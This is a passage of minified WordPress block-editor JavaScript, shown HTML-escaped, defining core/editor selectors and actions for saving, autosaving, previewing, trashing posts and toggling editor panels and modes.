se(e){return!ee(e)&amp;&amp;X(e)}const oe=(0,c.createRegistrySelector)((e=&gt;t=&gt;{const s=ie(t),o=ne(t),n=e(d.store).getRawEntityRecord(&quot;postType&quot;,o,s);return n||K}));function ne(e){return e.postType}function ie(e){return e.postId}function re(e){return e.templateId}function ae(e){var t;return null!==(t=oe(e)._links?.[&quot;version-history&quot;]?.[0]?.count)&amp;&amp;void 0!==t?t:0}function le(e){var t;return null!==(t=oe(e)._links?.[&quot;predecessor-version&quot;]?.[0]?.id)&amp;&amp;void 0!==t?t:null}const ce=(0,c.createRegistrySelector)((e=&gt;t=&gt;{const s=ne(t),o=ie(t);return e(d.store).getEntityRecordEdits(&quot;postType&quot;,s,o)||K}));function de(e,t){switch(t){case&quot;type&quot;:return ne(e);case&quot;id&quot;:return ie(e);default:const s=oe(e);if(!s.hasOwnProperty(t))break;return f(s[t])}}const ue=(0,c.createSelector)(((e,t)=&gt;{const s=ce(e);return s.hasOwnProperty(t)?{...de(e,t),...s[t]}:de(e,t)}),((e,t)=&gt;[de(e,t),ce(e)[t]]));function pe(e,t){if(&quot;content&quot;===t)return De(e);const s=ce(e);return s.hasOwnProperty(t)?C.has(t)?ue(e,t):s[t]:de(e,t)}const me=(0,c.createRegistrySelector)((e=&gt;(t,s)=&gt;{if(!E.includes(s)&amp;&amp;&quot;preview_link&quot;!==s)return;const o=ne(t);if(&quot;wp_template&quot;===o)return!1;const n=ie(t),i=e(d.store).getCurrentUser()?.id,r=e(d.store).getAutosave(o,n,i);return r?f(r[s]):void 0}));function he(e){if(&quot;private&quot;===pe(e,&quot;status&quot;))return&quot;private&quot;;return pe(e,&quot;password&quot;)?&quot;password&quot;:&quot;public&quot;}function ge(e){return&quot;pending&quot;===oe(e).status}function _e(e,t){const s=t||oe(e);return-1!==[&quot;publish&quot;,&quot;private&quot;].indexOf(s.status)||&quot;future&quot;===s.status&amp;&amp;!(0,x.isInTheFuture)(new Date(Number((0,x.getDate)(s.date))-j))}function fe(e){return&quot;future&quot;===oe(e).status&amp;&amp;!_e(e)}function be(e){const t=oe(e);return ee(e)||-1===[&quot;publish&quot;,&quot;private&quot;,&quot;future&quot;].indexOf(t.status)}function ye(e){return!Ce(e)&amp;&amp;(!!pe(e,&quot;title&quot;)||!!pe(e,&quot;excerpt&quot;)||!xe(e)||&quot;native&quot;===u.Platform.OS)}const xe=(0,c.createRegistrySelector)((e=&gt;t=&gt;{const s=ie(t),o=ne(t),n=e(d.store).getEditedEntityRecord(&quot;postType&quot;,o,s);if(&quot;function&quot;!=typeof n.content)return!n.content;const i=pe(t,&quot;blocks&quot;);if(0===i.length)return!0;if(i.length&gt;1)return!1;const r=i[0].name;return(r===(0,y.getDefaultBlockName)()||r===(0,y.getFreeformContentHandlerName)())&amp;&amp;!De(t)})),ve=(0,c.createRegistrySelector)((e=&gt;t=&gt;{if(!ye(t))return!1;if(ze(t))return!1;const s=ne(t);if(&quot;wp_template&quot;===s)return!1;const o=ie(t),n=e(d.store).hasFetchedAutosaves(s,o),i=e(d.store).getCurrentUser()?.id,r=e(d.store).getAutosave(s,o,i);return!!n&amp;&amp;(!r||(!!J(t)||[&quot;title&quot;,&quot;excerpt&quot;,&quot;meta&quot;].some((e=&gt;f(r[e])!==pe(t,e)))))}));function Se(e){const t=pe(e,&quot;date&quot;),s=new Date(Number((0,x.getDate)(t))-j);return(0,x.isInTheFuture)(s)}function we(e){const t=pe(e,&quot;date&quot;),s=pe(e,&quot;modified&quot;),o=oe(e).status;return(&quot;draft&quot;===o||&quot;auto-draft&quot;===o||&quot;pending&quot;===o)&amp;&amp;(t===s||null===t)}function ke(e){return!!e.deleting.pending}function Ce(e){return!!e.saving.pending}const Pe=(0,c.createRegistrySelector)((e=&gt;t=&gt;{const s=e(d.store).__experimentalGetEntitiesBeingSaved(),{type:o,id:n}=oe(t);return s.some((e=&gt;&quot;postType&quot;!==e.kind||e.name!==o||e.key!==n))})),je=(0,c.createRegistrySelector)((e=&gt;t=&gt;{const s=ne(t),o=ie(t);return!e(d.store).getLastEntitySaveError(&quot;postType&quot;,s,o)})),Ee=(0,c.createRegistrySelector)((e=&gt;t=&gt;{const s=ne(t),o=ie(t);return!!e(d.store).getLastEntitySaveError(&quot;postType&quot;,s,o)}));function Te(e){return Ce(e)&amp;&amp;Boolean(e.saving.options?.isAutosave)}function Be(e){return Ce(e)&amp;&amp;Boolean(e.saving.options?.isPreview)}function Ie(e){if(e.saving.pending||Ce(e))return;let t=me(e,&quot;preview_link&quot;);t&amp;&amp;&quot;draft&quot;!==oe(e).status||(t=pe(e,&quot;link&quot;),t&amp;&amp;(t=(0,v.addQueryArgs)(t,{preview:!0})));const s=pe(e,&quot;featured_media&quot;);return t&amp;&amp;s?(0,v.addQueryArgs)(t,{_thumbnail_id:s}):t}const Ne=(0,c.createRegistrySelector)((e=&gt;()=&gt;{const t=e(h.store).getBlocks();if(t.length&gt;2)return null;let s;if(1===t.length&amp;&amp;(s=t[0].name,&quot;core/embed&quot;===s)){const e=t[0].attributes?.providerNameSlug;[&quot;youtube&quot;,&quot;vimeo&quot;].includes(e)?s=&quot;core/video&quot;:[&quot;spotify&quot;,&quot;soundcloud&quot;].includes(e)&amp;&amp;(s=&quot;core/audio&quot;)}switch(2===t.length&amp;&amp;&quot;core/paragraph&quot;===t[1].name&amp;&amp;(s=t[0].name),s){case&quot;core/image&quot;:return&quot;image&quot;;case&quot;core/quote&quot;:case&quot;core/pullquote&quot;:return&quot;quote&quot;;case&quot;core/gallery&quot;:return&quot;gallery&quot;;case&quot;core/video&quot;:return&quot;video&quot;;case&quot;core/audio&quot;:return&quot;audio&quot;;default:return null}})),De=(0,c.createRegistrySelector)((e=&gt;t=&gt;{const s=ie(t),o=ne(t),n=e(d.store).getEditedEntityRecord(&quot;postType&quot;,o,s);if(n){if(&quot;function&quot;==typeof n.content)return n.content(n);if(n.blocks)return(0,y.__unstableSerializeAndClean)(n.blocks);if(n.content)return n.content}return&quot;&quot;}));function Ae(e){return Ce(e)&amp;&amp;!_e(e)&amp;&amp;&quot;publish&quot;===pe(e,&quot;status&quot;)}function Re(e){const t=pe(e,&quot;permalink_template&quot;);return P.test(t)}function Me(e){const t=Oe(e);if(!t)return null;const{prefix:s,postName:o,suffix:n}=t;return Re(e)?s+o+n:s}function Le(e){return pe(e,&quot;slug&quot;)||(0,v.cleanForSlug)(pe(e,&quot;title&quot;))||ie(e)}function Oe(e){const t=pe(e,&quot;permalink_template&quot;);if(!t)return null;const s=pe(e,&quot;slug&quot;)||pe(e,&quot;generated_slug&quot;),[o,n]=t.split(P);return{prefix:o,postName:s,suffix:n}}function Fe(e){return e.postLock.isLocked}function Ve(e){return Object.keys(e.postSavingLock).length&gt;0}function ze(e){return Object.keys(e.postAutosavingLock).length&gt;0}function Ue(e){return e.postLock.isTakeover}function He(e){return e.postLock.user}function Ge(e){return e.postLock.activePostLock}function $e(e){return Boolean(oe(e)._links?.hasOwnProperty(&quot;wp:action-unfiltered-html&quot;))}const We=(0,c.createRegistrySelector)((e=&gt;()=&gt;!!e(k.store).get(&quot;core&quot;,&quot;isPublishSidebarEnabled&quot;))),Ze=(0,c.createSelector)((e=&gt;pe(e,&quot;blocks&quot;)||(0,y.parse)(De(e))),(e=&gt;[pe(e,&quot;blocks&quot;),De(e)]));function Ye(e,t){return e.removedPanels.includes(t)}const Ke=(0,c.createRegistrySelector)((e=&gt;(t,s)=&gt;{const o=e(k.store).get(&quot;core&quot;,&quot;inactivePanels&quot;);return!Ye(t,s)&amp;&amp;!o?.includes(s)})),qe=(0,c.createRegistrySelector)((e=&gt;(t,s)=&gt;{const o=e(k.store).get(&quot;core&quot;,&quot;openPanels&quot;);return!!o?.includes(s)}));function Qe(e){return w()(&quot;select(&#039;core/editor&#039;).getEditorSelectionStart&quot;,{since:&quot;5.8&quot;,alternative:&quot;select(&#039;core/editor&#039;).getEditorSelection&quot;}),pe(e,&quot;selection&quot;)?.selectionStart}function Xe(e){return w()(&quot;select(&#039;core/editor&#039;).getEditorSelectionStart&quot;,{since:&quot;5.8&quot;,alternative:&quot;select(&#039;core/editor&#039;).getEditorSelection&quot;}),pe(e,&quot;selection&quot;)?.selectionEnd}function Je(e){return pe(e,&quot;selection&quot;)}function et(e){return!!e.postId}function tt(e){return e.editorSettings}function st(e){return e.renderingMode}const ot=(0,c.createRegistrySelector)((e=&gt;t=&gt;$(e(h.store)).isZoomOut()?&quot;Desktop&quot;:t.deviceType));function nt(e){return e.listViewPanel}function it(e){return!!e.blockInserterPanel}const rt=(0,c.createRegistrySelector)((e=&gt;()=&gt;{var t;return null!==(t=e(k.store).get(&quot;core&quot;,&quot;editorMode&quot;))&amp;&amp;void 0!==t?t:&quot;visual&quot;}));function at(){return w()(&quot;select(&#039;core/editor&#039;).getStateBeforeOptimisticTransaction&quot;,{since:&quot;5.7&quot;,hint:&quot;No state history is kept on this store anymore&quot;}),null}function lt(){return w()(&quot;select(&#039;core/editor&#039;).inSomeHistory&quot;,{since:&quot;5.7&quot;,hint:&quot;No state history is kept on this store anymore&quot;}),!1}function ct(e){return(0,c.createRegistrySelector)((t=&gt;(s,...o)=&gt;(w()(&quot;`wp.data.select( &#039;core/editor&#039; ).&quot;+e+&quot;`&quot;,{since:&quot;5.3&quot;,alternative:&quot;`wp.data.select( &#039;core/block-editor&#039; ).&quot;+e+&quot;`&quot;,version:&quot;6.2&quot;}),t(h.store)[e](...o))))}const dt=ct(&quot;getBlockName&quot;),ut=ct(&quot;isBlockValid&quot;),pt=ct(&quot;getBlockAttributes&quot;),mt=ct(&quot;getBlock&quot;),ht=ct(&quot;getBlocks&quot;),gt=ct(&quot;getClientIdsOfDescendants&quot;),_t=ct(&quot;getClientIdsWithDescendants&quot;),ft=ct(&quot;getGlobalBlockCount&quot;),bt=ct(&quot;getBlocksByClientId&quot;),yt=ct(&quot;getBlockCount&quot;),xt=ct(&quot;getBlockSelectionStart&quot;),vt=ct(&quot;getBlockSelectionEnd&quot;),St=ct(&quot;getSelectedBlockCount&quot;),wt=ct(&quot;hasSelectedBlock&quot;),kt=ct(&quot;getSelectedBlockClientId&quot;),Ct=ct(&quot;getSelectedBlock&quot;),Pt=ct(&quot;getBlockRootClientId&quot;),jt=ct(&quot;getBlockHierarchyRootClientId&quot;),Et=ct(&quot;getAdjacentBlockClientId&quot;),Tt=ct(&quot;getPreviousBlockClientId&quot;),Bt=ct(&quot;getNextBlockClientId&quot;),It=ct(&quot;getSelectedBlocksInitialCaretPosition&quot;),Nt=ct(&quot;getMultiSelectedBlockClientIds&quot;),Dt=ct(&quot;getMultiSelectedBlocks&quot;),At=ct(&quot;getFirstMultiSelectedBlockClientId&quot;),Rt=ct(&quot;getLastMultiSelectedBlockClientId&quot;),Mt=ct(&quot;isFirstMultiSelectedBlock&quot;),Lt=ct(&quot;isBlockMultiSelected&quot;),Ot=ct(&quot;isAncestorMultiSelected&quot;),Ft=ct(&quot;getMultiSelectedBlocksStartClientId&quot;),Vt=ct(&quot;getMultiSelectedBlocksEndClientId&quot;),zt=ct(&quot;getBlockOrder&quot;),Ut=ct(&quot;getBlockIndex&quot;),Ht=ct(&quot;isBlockSelected&quot;),Gt=ct(&quot;hasSelectedInnerBlock&quot;),$t=ct(&quot;isBlockWithinSelection&quot;),Wt=ct(&quot;hasMultiSelection&quot;),Zt=ct(&quot;isMultiSelecting&quot;),Yt=ct(&quot;isSelectionEnabled&quot;),Kt=ct(&quot;getBlockMode&quot;),qt=ct(&quot;isTyping&quot;),Qt=ct(&quot;isCaretWithinFormattedText&quot;),Xt=ct(&quot;getBlockInsertionPoint&quot;),Jt=ct(&quot;isBlockInsertionPointVisible&quot;),es=ct(&quot;isValidTemplate&quot;),ts=ct(&quot;getTemplate&quot;),ss=ct(&quot;getTemplateLock&quot;),os=ct(&quot;canInsertBlockType&quot;),ns=ct(&quot;getInserterItems&quot;),is=ct(&quot;hasInserterItems&quot;),rs=ct(&quot;getBlockListSettings&quot;),as=(0,c.createRegistrySelector)((e=&gt;()=&gt;(w()(&quot;select(&#039;core/editor&#039;).__experimentalGetDefaultTemplateTypes&quot;,{since:&quot;6.8&quot;,alternative:&quot;select(&#039;core/core-data&#039;).getCurrentTheme()?.default_template_types&quot;}),e(d.store).getCurrentTheme()?.default_template_types))),ls=(0,c.createRegistrySelector)((e=&gt;(0,c.createSelector)((()=&gt;{w()(&quot;select(&#039;core/editor&#039;).__experimentalGetDefaultTemplatePartAreas&quot;,{since:&quot;6.8&quot;,alternative:&quot;select(&#039;core/core-data&#039;).getCurrentTheme()?.default_template_part_areas&quot;});return(e(d.store).getCurrentTheme()?.default_template_part_areas||[]).map((e=&gt;({...e,icon:U(e.icon)})))})))),cs=(0,c.createRegistrySelector)((e=&gt;(0,c.createSelector)(((t,s)=&gt;{var o;w()(&quot;select(&#039;core/editor&#039;).__experimentalGetDefaultTemplateType&quot;,{since:&quot;6.8&quot;});const n=e(d.store).getCurrentTheme()?.default_template_types;return n&amp;&amp;null!==(o=Object.values(n).find((e=&gt;e.slug===s)))&amp;&amp;void 0!==o?o:K})))),ds=(0,c.createRegistrySelector)((e=&gt;(0,c.createSelector)(((t,s)=&gt;{if(w()(&quot;select(&#039;core/editor&#039;).__experimentalGetTemplateInfo&quot;,{since:&quot;6.8&quot;}),!s)return K;const o=e(d.store).getCurrentTheme(),n=o?.default_template_types||[];return Y({template:s,templateAreas:o?.default_template_part_areas||[],templateTypes:n})})))),us=(0,c.createRegistrySelector)((e=&gt;t=&gt;{const s=ne(t),o=e(d.store).getPostType(s);return o?.labels?.singular_name}));function ps(e){return e.publishSidebarActive}const ms=window.wp.a11y,hs=window.wp.apiFetch;var gs=s.n(hs);const _s=window.wp.notices,fs=window.wp.i18n;function bs(e,t){return`wp-autosave-block-editor-post-${t?&quot;auto-draft&quot;:e}`}function ys(e,t){window.sessionStorage.removeItem(bs(e,t))}const xs=(e,t,s)=&gt;({dispatch:o})=&gt;{o.setEditedPost(e.type,e.id);if(&quot;auto-draft&quot;===e.status&amp;&amp;s){let n;n=&quot;content&quot;in t?t.content:e.content.raw;let i=(0,y.parse)(n);i=(0,y.synchronizeBlocksWithTemplate)(i,s),o.resetEditorBlocks(i,{__unstableShouldCreateUndoLevel:!1})}t&amp;&amp;Object.values(t).some((([t,s])=&gt;{var o;return s!==(null!==(o=e[t]?.raw)&amp;&amp;void 0!==o?o:e[t])}))&amp;&amp;o.editPost(t)};function vs(){return w()(&quot;wp.data.dispatch( &#039;core/editor&#039; ).__experimentalTearDownEditor&quot;,{since:&quot;6.5&quot;}),{type:&quot;DO_NOTHING&quot;}}function Ss(){return w()(&quot;wp.data.dispatch( &#039;core/editor&#039; ).resetPost&quot;,{since:&quot;6.0&quot;,version:&quot;6.3&quot;,alternative:&quot;Initialize the editor with the setupEditorState action&quot;}),{type:&quot;DO_NOTHING&quot;}}function ws(){return w()(&quot;wp.data.dispatch( &#039;core/editor&#039; ).updatePost&quot;,{since:&quot;5.7&quot;,alternative:&quot;Use the core entities store instead&quot;}),{type:&quot;DO_NOTHING&quot;}}function ks(e){return w()(&quot;wp.data.dispatch( &#039;core/editor&#039; ).setupEditorState&quot;,{since:&quot;6.5&quot;,alternative:&quot;wp.data.dispatch( &#039;core/editor&#039; ).setEditedPost&quot;}),Cs(e.type,e.id)}function Cs(e,t){return{type:&quot;SET_EDITED_POST&quot;,postType:e,postId:t}}const Ps=(e,t)=&gt;({select:s,registry:o})=&gt;{const{id:n,type:i}=s.getCurrentPost();o.dispatch(d.store).editEntityRecord(&quot;postType&quot;,i,n,e,t)},js=(e={})=&gt;async({select:t,dispatch:s,registry:o})=&gt;{if(!t.isEditedPostSaveable())return;const n=t.getEditedPostContent();e.isAutosave||s.editPost({content:n},{undoIgnore:!0});const i=t.getCurrentPost();let r={id:i.id,...o.select(d.store).getEntityRecordNonTransientEdits(&quot;postType&quot;,i.type,i.id),content:n};s({type:&quot;REQUEST_POST_UPDATE_START&quot;,options:e});let a=!1;try{r=await(0,m.applyFiltersAsync)(&quot;editor.preSavePost&quot;,r,e)}catch(e){a=e}if(!a)try{await o.dispatch(d.store).saveEntityRecord(&quot;postType&quot;,i.type,r,e)}catch(e){a=e.message&amp;&amp;&quot;unknown_error&quot;!==e.code?e.message:(0,fs.__)(&quot;An error occurred while updating.&quot;)}if(a||(a=o.select(d.store).getLastEntitySaveError(&quot;postType&quot;,i.type,i.id)),!a)try{await(0,m.applyFilters)(&quot;editor.__unstableSavePost&quot;,Promise.resolve(),e)}catch(e){a=e}if(!a)try{await(0,m.doActionAsync)(&quot;editor.savePost&quot;,{id:i.id},e)}catch(e){a=e}if(s({type:&quot;REQUEST_POST_UPDATE_FINISH&quot;,options:e}),a){const e=function(e){const{post:t,edits:s,error:o}=e;if(o&amp;&amp;&quot;rest_autosave_no_changes&quot;===o.code)return[];const n=[&quot;publish&quot;,&quot;private&quot;,&quot;future&quot;],i=-1!==n.indexOf(t.status),r={publish:(0,fs.__)(&quot;Publishing failed.&quot;),private:(0,fs.__)(&quot;Publishing failed.&quot;),future:(0,fs.__)(&quot;Scheduling failed.&quot;)};let a=i||-1===n.indexOf(s.status)?(0,fs.__)(&quot;Updating failed.&quot;):r[s.status];return o.message&amp;&amp;!/&lt;\/?[^&gt;]*&gt;/.test(o.message)&amp;&amp;(a=[a,o.message].join(&quot; &quot;)),[a,{id:&quot;editor-save&quot;}]}({post:i,edits:r,error:a});e.length&amp;&amp;o.dispatch(_s.store).createErrorNotice(...e)}else{const s=t.getCurrentPost(),n=function(e){var t;const{previousPost:s,post:o,postType:n}=e;if(e.options?.isAutosave)return[];const i=[&quot;publish&quot;,&quot;private&quot;,&quot;future&quot;],r=i.includes(s.status),a=i.includes(o.status),l=&quot;trash&quot;===o.status&amp;&amp;&quot;trash&quot;!==s.status;let c,d,u=null!==(t=n?.viewable)&amp;&amp;void 0!==t&amp;&amp;t;l?(c=n.labels.item_trashed,u=!1):r||a?r&amp;&amp;!a?(c=n.labels.item_reverted_to_draft,u=!1):c=!r&amp;&amp;a?{publish:n.labels.item_published,private:n.labels.item_published_privately,future:n.labels.item_scheduled}[o.status]:n.labels.item_updated:(c=(0,fs.__)(&quot;Draft saved.&quot;),d=!0);const p=[];return u&amp;&amp;p.push({label:d?(0,fs.__)(&quot;View Preview&quot;):n.labels.view_item,url:o.link}),[c,{id:&quot;editor-save&quot;,type:&quot;snackbar&quot;,actions:p}]}({previousPost:i,post:s,postType:await o.resolveSelect(d.store).getPostType(s.type),options:e});n.length&amp;&amp;o.dispatch(_s.store).createSuccessNotice(...n),e.isAutosave||o.dispatch(h.store).__unstableMarkLastChangeAsPersistent()}};function Es(){return w()(&quot;wp.data.dispatch( &#039;core/editor&#039; ).refreshPost&quot;,{since:&quot;6.0&quot;,version:&quot;6.3&quot;,alternative:&quot;Use the core entities store instead&quot;}),{type:&quot;DO_NOTHING&quot;}}const Ts=()=&gt;async({select:e,dispatch:t,registry:s})=&gt;{const o=e.getCurrentPostType(),n=await s.resolveSelect(d.store).getPostType(o),{rest_base:i,rest_namespace:r=&quot;wp/v2&quot;}=n;t({type:&quot;REQUEST_POST_DELETE_START&quot;});try{const s=e.getCurrentPost();await gs()({path:`/${r}/${i}/${s.id}`,method:&quot;DELETE&quot;}),await t.savePost()}catch(e){s.dispatch(_s.store).createErrorNotice(...(a={error:e},[a.error.message&amp;&amp;&quot;unknown_error&quot;!==a.error.code?a.error.message:(0,fs.__)(&quot;Trashing failed&quot;),{id:&quot;editor-trash-fail&quot;}]))}var a;t({type:&quot;REQUEST_POST_DELETE_FINISH&quot;})},Bs=({local:e=!1,...t}={})=&gt;async({select:s,dispatch:o})=&gt;{const n=s.getCurrentPost();if(&quot;wp_template&quot;!==n.type)if(e){const e=s.isEditedPostNew(),t=s.getEditedPostAttribute(&quot;title&quot;),o=s.getEditedPostAttribute(&quot;content&quot;),i=s.getEditedPostAttribute(&quot;excerpt&quot;);!function(e,t,s,o,n){window.sessionStorage.setItem(bs(e,t),JSON.stringify({post_title:s,content:o,excerpt:n}))}(n.id,e,t,o,i)}else await o.savePost({isAutosave:!0,...t})},Is=({forceIsAutosaveable:e}={})=&gt;async({select:t,dispatch:s})=&gt;{if((e||t.isEditedPostAutosaveable())&amp;&amp;!t.isPostLocked()){[&quot;draft&quot;,&quot;auto-draft&quot;].includes(t.getEditedPostAttribute(&quot;status&quot;))?await s.savePost({isPreview:!0}):await s.autosave({isPreview:!0})}return t.getEditedPostPreviewLink()},Ns=()=&gt;({registry:e})=&gt;{e.dispatch(d.store).redo()},Ds=()=&gt;({registry:e})=&gt;{e.dispatch(d.store).undo()};function As(){return w()(&quot;wp.data.dispatch( &#039;core/editor&#039; ).createUndoLevel&quot;,{since:&quot;6.0&quot;,version:&quot;6.3&quot;,alternative:&quot;Use the core entities store instead&quot;}),{type:&quot;DO_NOTHING&quot;}}function Rs(e){return{type:&quot;UPDATE_POST_LOCK&quot;,lock:e}}const Ms=()=&gt;({registry:e})=&gt;{e.dispatch(k.store).set(&quot;core&quot;,&quot;isPublishSidebarEnabled&quot;,!0)},Ls=()=&gt;({registry:e})=&gt;{e.dispatch(k.store).set(&quot;core&quot;,&quot;isPublishSidebarEnabled&quot;,!1)};function Os(e){return{type:&quot;LOCK_POST_SAVING&quot;,lockName:e}}function Fs(e){return{type:&quot;UNLOCK_POST_SAVING&quot;,lockName:e}}function Vs(e){return{type:&quot;LOCK_POST_AUTOSAVING&quot;,lockName:e}}function zs(e){return{type:&quot;UNLOCK_POST_AUTOSAVING&quot;,lockName:e}}const Us=(e,t={})=&gt;({select:s,dispatch:o,registry:n})=&gt;{const{__unstableShouldCreateUndoLevel:i,selection:r}=t,a={blocks:e,selection:r};if(!1!==i){const{id:e,type:t}=s.getCurrentPost();if(n.select(d.store).getEditedEntityRecord(&quot;postType&quot;,t,e).blocks===a.blocks)return void n.dispatch(d.store).__unstableCreateUndoLevel(&quot;postType&quot;,t,e);a.content=({blocks:e=[]})=&gt;(0,y.__unstableSerializeAndClean)(e)}o.editPost(a)};function Hs(e){return{type:&quot;UPDATE_EDITOR_SETTINGS&quot;,settings:e}}const Gs=e=&gt;({dispatch:t,registry:s,select:o})=&gt;{o.__unstableIsEditorReady()&amp;&amp;(s.dispatch(h.store).clearSelectedBlock(),t.editPost({selection:void 0},{undoIgnore:!0})),t({type:&quot;SET_RENDERING_MODE&quot;,mode:e})};function $s(e){return{type:&quot;SET_DEVICE_TYPE&quot;,deviceType:e}}const Ws=e=&gt;({registry:t})=&gt;{var s;const o=null!==(s=t.select(k.store).get(&quot;core&quot;,&quot;inactivePanels&quot;))&amp;&amp;void 0!==s?s:[];let n;n=!!o?.includes(e)?o.filter((t=&gt;t!==e)):[...o,e],t.dispatch(k.store).set(&quot;core&quot;,&quot;inactivePanels&quot;,n)},Zs=e=&gt;({registry:t})=&gt;{var s;const o=null!==(s=t.select(k.store).get(&quot;core&quot;,&quot;openPanels&quot;))&amp;&amp;void 0!==s?s:[];let n;n=!!o?.includes(e)?o.filter((t=&gt;t!==e)):[...o,e],t.dispatch(k.store).set(&quot;core&quot;,&quot;openPanels&quot;,n)};function Ys(e){return{type:&quot;REMOVE_PANEL&quot;,panelName:e}}const Ks=e=&gt;({dispatch:t,registry:s})=&gt;{&quot;object&quot;==typeof e&amp;&amp;e.hasOwnProperty(&quot;rootClientId&quot;)&amp;&amp;e.hasOwnProperty(&quot;insertionIndex&quot;)&amp;&amp;$(s.dispatch(h.store)).setInsertionPoint({rootClientId:e.rootClientId,index:e.insertionIndex}),t({type:&quot;SET_IS_INSERTER_OPENED&quot;,value:e})};function qs(e){return{type:&quot;SET_IS_LIST_VIEW_OPENED&quot;,isOpen:e}}const Qs=({createNotice:e=!0}={})=&gt;({dispatch:t,registry:s})=&gt;{const o=s.select(k.store).get(&quot;core&quot;,&quot;distractionFree&quot;);o&amp;&amp;s.dispatch(k.store).set(&quot;core&quot;,&quot;fixedToolbar&quot;,!1),o||s.batch((()=&gt;{s.dispatch(k.store).set(&quot;core&quot;,&quot;fixedToolbar&quot;,!0),t.setIsInserterOpened(!1),t.setIsListViewOpened(!1),$(s.dispatch(h.store)).resetZoomLevel()})),s.batch((()=&gt;{s.dispatch(k.store).set(&quot;core&quot;,&quot;distractionFree&quot;,!o),e&amp;&amp;s.dispatch(_s.store).createInfoNotice(o?(0,fs.__)(&quot;Distraction free mode deactivated.&quot;):(0,fs.__)(&quot;Distraction free mode activated.&quot;),{id:&quot;core/editor/distraction-free-mode/notice&quot;,type:&quot;snackbar&quot;,actions:[{label:(0,fs.__)(&quot;Undo&quot;),onClick:()=&gt;{s.batch((()=&gt;{s.dispatch(k.store).set(&quot;core&quot;,&quot;fixedToolbar&quot;,o),s.dispatch(k.store).toggle(&quot;core&quot;,&quot;distractionFree&quot;)}))}}]})}))},Xs=()=&gt;({registry:e})=&gt;{e.dispatch(k.store).toggle(&quot;core&quot;,&quot;focusMode&quot;);const t=e.select(k.store).get(&quot;core&quot;,&quot;focusMode&quot;);e.dispatch(_s.store).createInfoNotice(t?(0,fs.__)(&quot;Spotlight mode activated.&quot;):(0,fs.__)(&quot;Spotlight mode deactivated.&quot;),{id:&quot;core/editor/toggle-spotlight-mode/notice&quot;,type:&quot;snackbar&quot;,actions:[{label:(0,fs.__)(&quot;Undo&quot;),onClick:()=&gt;{e.dispatch(k.store).toggle(&quot;core&quot;,&quot;focusMode&quot;)}}]})},Js=()=&gt;({registry:e})=&gt;{e.dispatch(k.store).toggle(&quot;core&quot;,&quot;fixedToolbar&quot;);const t=e.select(k.store).get(&quot;core&quot;,&quot;fixedToolbar&quot;);e.dispatch(_s.store).createInfoNotice(t?(0,fs.__)(&quot;Top toolbar activated.&quot;):(0,fs.__)(&quot;Top toolbar deactivated.&quot;),{id:&quot;core/editor/toggle-top-toolbar/notice&quot;,type:&quot;snackbar&quot;,actions:[{label:(0,fs.__)(&quot;Undo&quot;),onClick:()=&gt;{e.dispatch(k.store).toggle(&quot;core&quot;,&quot;fixedToolbar&quot;)}}]})},eo=e=&gt;({dispatch:t,registry:s})=&gt;{if(s.dispatch(k.store).set(&quot;core&quot;,&quot;editorMode&quot;,e),&quot;visual&quot;!==e&amp;&amp;(s.dispatch(h.store).clearSelectedBlock(),$(s.dispatch(h.store)).resetZoomLevel()),&quot;visual&quot;===e)(0,ms.speak)((0,fs.__)(&quot;Visual editor selected&quot;),&quot;assertive&quot;);else if(&quot;text&quot;===e){s.select(k.store).get(&quot;core&quot;,&quot;distractionFree&quot;)&amp;&amp;t.toggleDistractionFree(),(0,ms.speak)((0,fs.__)(&quot;Code editor selected&quot;),&quot;assertive&quot;)}};function to(){return{type:&quot;OPEN_PUBLISH_SIDEBAR&quot;}}function so(){return{type:&quot;CLOSE_PUBLISH_SIDEBAR&quot;}}function oo(){return{type:&quot;TOGGLE_PUBLISH_SIDEBAR&quot;}}const no=e=&gt;(...t)=&gt;({registry:s})=&gt;{w()(&quot;`wp.data.dispatch( &#039;core/editor&#039; ).&quot;+e+&quot;`&quot;,{since:&quot;5.3&quot;,alternative:&quot;`wp.data.dispatch( &#039;core/block-editor&#039; ).&quot;+e+&quot;`&quot;,version:&quot;6.2&quot;}),s.dispatch(h.store)[e](...t)},io=no(&quot;resetBlocks&quot;),ro=no(&quot;receiveBlocks&quot;),ao=no(&quot;updateBlock&quot;),lo=no(&quot;updateBlockAttributes&quot;),co=no(&quot;selectBlock&quot;),uo=no(&quot;startMultiSelect&quot;),po=no(&quot;stopMultiSelect&quot;),mo=no(&quot;multiSelect&quot;),ho=no(&quot;clearSelectedBlock&quot;),go=no(&quot;toggleSelection&quot;),_o=no(&quot;replaceBlocks&quot;),fo=no(&quot;replaceBlock&quot;),bo=no(&quot;moveBlocksDown&quot;),yo=no(&quot;moveBlocksUp&quot;),xo=no(&quot;moveBlockToPosition&quot;),vo=no(&quot;insertBlock&quot;),So=no(&quot;insertBlocks&quot;),wo=no(&quot;showInsertionPoint&quot;),ko=no(&quot;hideInsertionPoint&quot;),Co=no(&quot;setTemplateValidity&quot;),Po=no(&quot;synchronizeTemplate&quot;),jo=no(&quot;mergeBlocks&quot;),Eo=no(&quot;removeBlocks&quot;),To=no(&quot;removeBlock&quot;),Bo=no(&quot;toggleBlockMode&quot;),Io=no(&quot;startTyping&quot;),No=no(&quot;stopTyping&quot;),Do=no(&quot;enterFormattedText&quot;),Ao=no(&quot;exitFormattedText&quot;),Ro=no(&quot;insertDefaultBlock&quot;),Mo=no(&quot;updateBlockListSettings&quot;),Lo=window.wp.htmlEntities;function Oo(e){return!!e&amp;&amp;(e.source===D&amp;&amp;(Boolean(e?.plugin)||e?.has_theme_file))}const Fo=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z&quot;})}),Vo={id:&quot;view-post&quot;,label:(0,fs._x)(&quot;View&quot;,&quot;verb&quot;),isPrimary:!0,icon:Fo,isEligible:e=&gt;&quot;trash&quot;!==e.status,callback(e,{onActionPerformed:t}){const s=e[0];window.open(s?.link,&quot;_blank&quot;),t&amp;&amp;t(e)}},zo={id:&quot;view-post-revisions&quot;,context:&quot;list&quot;,label(e){var t;const s=null!==(t=e[0]._links?.[&quot;version-history&quot;]?.[0]?.count)&amp;&amp;void 